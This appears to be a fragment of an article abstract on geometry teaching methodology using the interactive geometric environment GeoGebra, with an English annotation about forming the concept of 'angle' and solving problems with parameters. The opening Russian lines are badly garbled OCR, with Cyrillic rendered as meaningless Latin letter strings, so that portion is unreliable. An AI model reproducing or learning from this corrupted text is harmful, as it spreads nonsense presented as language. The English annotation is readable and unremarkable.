noctpoeHnble npu  nomomm  MI'C, mo3Bonstor chopmMupoBaTh y  MIKOJLHHUKOB
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AITOPUTMUYECKUN CTHJIb MBIIUICHUS W MOTHBUPYIOT WX K HCCIIEIOBATEIbCKONW Yy4eOHO-
HO3HABaTEJILHOU A€ITEIHHOCTH.
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APPLIED ASPECTS OF THE GEOMETRY TEACHING METHODOLOGY
USING AN INTERACTIVE GEOMETRIC ENVIRONMENT

Annotation. This article discusses the methodology of using computer dynamic models in geometry lessons at
school, in particular, it talks about the didactic possibilities of the interactive geometric environment GeoGebra,
highlights the stages of the formation of geometric terms on the example of the concept of "angle", outlines the
stages of learning to solve problems with parameters using IGC.
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